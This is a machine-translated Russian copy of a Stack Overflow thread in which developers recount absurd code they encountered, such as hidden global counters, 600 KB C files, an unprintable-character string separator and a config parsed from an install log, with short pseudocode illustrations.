Затем начинается самое интересное. Когда приложение загружается, оно просматривает список свойств и добавляет их в глобальный (плоский) список вместе с увеличением счетчика тайн. Тайный счетчик назван чем-то совершенно неуместным и используется в тайных вычислениях:

List properties = new List();
Node<-root
while node.hasNode("property")
    add to properties list
    my_global_variable++;
    if hasNode("property")
         node=getNode("property"), ... etc etc

И тогда вы получите такие функции, как

calculateSumOfCombinations(int x, int y){
   return x+y+my_global_variable;
}

edit: разъяснение - Мне потребовалось много времени, чтобы понять, что он считал глубину рекурсии, потому что на 6 или 7 уровне свойства изменили значение, поэтому он использовал счетчик, чтобы разделить свой плоский набор на 2 комплекта различных типов, например, наличие списка STATE, STATE, STATE, CITY, CITY, CITY и проверка индекса > счетчик, чтобы увидеть, если ваше имя город или штат)

Вместо написания службы Windows для серверного процесса, который должен был выполняться постоянно, один из наших «архитекторов» написал консольное приложение и использовал планировщик задач для его запуска каждые 60 секунд.

Имейте в виду, что это происходит в .NET, где сервисы создавать очень легко.

--

Кроме того, в том же месте консольное приложение использовалось для размещения службы удаленного взаимодействия .NET, поэтому им приходилось запускать консольное приложение и блокировать сеанс, чтобы он продолжал работать каждый раз при перезагрузке сервера.

--

На последнем месте, где я работал, у одного из архитекторов был одинокий Файл исходного кода C#, содержащий более 100 классов и имеющий размер около 250 КБ.

32 файла исходного кода с более чем 10K строк кода каждый. Каждый содержал один класс. Каждый класс содержал один метод, который делал & Quot; все & Quot;

Это был настоящий кошмар для отладки этого кода до того, как мне пришлось его реорганизовать.

На прежнем рабочем месте мы унаследовали унаследованный проект, который ранее был частично переведен на аутсорсинг. Основным приложением была Java, частью на стороне была нативная библиотека Си. Однажды я взглянул на исходные файлы Си. Я перечислил содержимое каталога. Было несколько исходных файлов размером более 200 КБ. Самый большой файл C был 600 Кбайт .

Слава Богу, мне никогда не приходилось их трогать: -)

Мне дали набор программ для продвижения, пока коллеги находились за границей у клиента (установка указанных программ). В каждой программе была одна ключевая библиотека, и, пытаясь выяснить код, я понял, что между программами есть небольшие отличия. В общей библиотеке.

Поняв это, я запустил сравнение текста всех копий. Я думаю, что из 16 уникальных было около 9. Я немного приподнялся.

Босс вмешался и попросил коллег сопоставить версию, которая была бы универсальной. Они отправили код по электронной почте. Мне неизвестно, там были строки с непечатными символами и несколько смешанных кодировок. Письмо исказило это довольно плохо.

Непечатные символы использовались для отправки данных (все строки!) с сервера на клиент. Таким образом, все строки были разделены символом 0x03 на стороне сервера и повторно собраны на стороне клиента в C # с помощью функции Split.

То, что нужно было бы сделать в разумных пределах:

someVariable.Split(Convert.ToChar(0x03);

Более разумный и дружественный способ - использовать константу:

private const char StringSeparator = (char)0x03;
//...
someVariable.Split(StringSeparator);

Злой путь был тем, что выбрали мои коллеги: используйте все, что угодно " print " для 0x03 в Visual Studio и поместите это между кавычками:

someVariable.Split('/*unprintable character*/');

Кроме того, в этой библиотеке (и во всех связанных программах) ни одна переменная не была локальной (я проверял!). Функции были разработаны либо для восстановления тех же переменных, когда было сочтено безопасным их тратить, либо для создания новых, которые будут действовать в течение всего времени процесса. Я распечатал несколько страниц и раскрасил их. Желтый означает & Quot; глобальный, никогда не изменяемый другой функцией & Quot ;, Красный означает & Quot; глобальный, измененный несколькими & Quot ;. Зеленый был бы & "Местным"! ", Но его не было.

О, я упоминал контрольную версию? Потому что, конечно, не было ни одного.

ДОБАВИТЬ: я только что вспомнил функцию, которую я обнаружил не так давно.

Его цель состояла в том, чтобы просмотреть массив массивов промежуточных элементов и установить для каждого первого и последнего элемента значение 0. Оно прошло следующим образом (не фактический код из памяти и т. д. в стиле C #):

FixAllArrays()
{
    for (int idx = 0; idx < arrays.count- 1; idx++)
    {
        currArray = arrays[idx];
        nextArray = arrays[idx+1];
        SetFirstToZero(currArray);
        SetLastToZero(nextArray);

        //This is where the fun starts
        if (idx == 0)
        {
            SetLastToZero(currArray);
        }

        if (idx == arrays.count- 1)
        {
            SetFirstToZero(nextArray);
        }
    }
}

Конечно, дело в том, что каждый под-массив должен был выполнить это, обе операции над всеми элементами. Я просто не уверен, как программист может решить что-то подобное.

Подобно тому, что кто-то еще упомянул выше:

Я работал в месте с псевдокриптовым языком в приложении. Он включал в себя массивный метод, который имел около 30 параметров и гигантское выражение Select Case.

Пришло время добавить больше параметров, но парень из команды, который должен был это сделать, понял, что их уже слишком много.

Его решение?

В конце он добавил один параметр object, чтобы он мог передать все, что хотел, и затем привести его.

Я не мог выбраться из этого места достаточно быстро.

Однажды после того, как наши клиентские команды сообщили о некоторых странных проблемах, мы заметили, что две разные версии приложения указывали на одну и ту же базу данных. (при развертывании на них новой системы их база данных была обновлена, но все забыли обрушить свою старую систему)

Это был чудесный побег ..

И с тех пор у нас есть автоматизированный процесс сборки и развертывания, к счастью: -)

Я думаю, что это была программа, которая загружала цикл в регистры общего назначения pdp-10, а затем выполняла код в этих регистрах.

Вы можете сделать это на pdp-10. Это не значит, что вы должны.

РЕДАКТИРОВАТЬ: по крайней мере это в меру моих (иногда довольно потрепанных) воспоминаний.

Я испытал глубокое несчастье из-за того, что был вовлечен в поиск довольно безумного поведения в полу-настраиваемом решении для обеспечения высокой доступности баз данных.

Основные биты были непримечательны. Red Hat Enterprise Linux, MySQL, DRBD и Linux-HA. Конфигурация, однако, поддерживалась полностью пользовательской подобной марионеткам системой (неудивительно, что есть много других примеров безумия, являющегося результатом этой системы).

Оказывается, что система проверяла файл install.log, который Kickstart оставляет в корневом каталоге, для части информации, необходимой для создания конфигурации DRBD. Это само по себе зло, конечно. Вы не извлекаете конфигурацию из файла журнала, формат которого фактически не определен. Однако становится еще хуже.

Он не сохранял эти данные где-либо еще, и каждый раз, когда он выполнялся, то есть каждые 60 секунд, он обращался к <=>.

Я просто позволю вам угадать, что произошло, когда кто-то решил удалить этот бесполезный файл журнала.

Лицензировано под: CC-BY-SA с атрибуция
Не связан с StackOverflow
scroll top